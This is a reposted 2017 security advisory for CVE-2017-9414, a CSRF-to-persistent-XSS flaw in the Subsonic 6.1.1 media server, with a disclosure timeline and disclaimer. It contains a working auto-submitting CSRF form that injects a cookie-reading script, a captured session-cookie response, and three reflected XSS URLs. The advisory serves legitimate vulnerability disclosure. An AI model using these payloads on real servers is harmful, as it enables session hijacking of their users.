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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt
[+] ISR: ApparitionSec            
 

Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
======================
CSRF - Persistent XSS



CVE Reference:
==============
CVE-2017-9414



Security Issue:
================
Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads 
if an authenticated user clicks a malicious link or visits an attacker controlled webpage. 



Exploit/POC:
=============
<form action="http://localhost:4040/playerSettings.view" method="post">
<input name="playerId" type="hidden" value="1">
<input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">
<script>document.forms[0].submit()</script>
</form>

Then visit http://localhost:4040/index.view

HTTP Response:
XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl


Misc Reflected:

XSS 1
http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 2
http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 3
http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx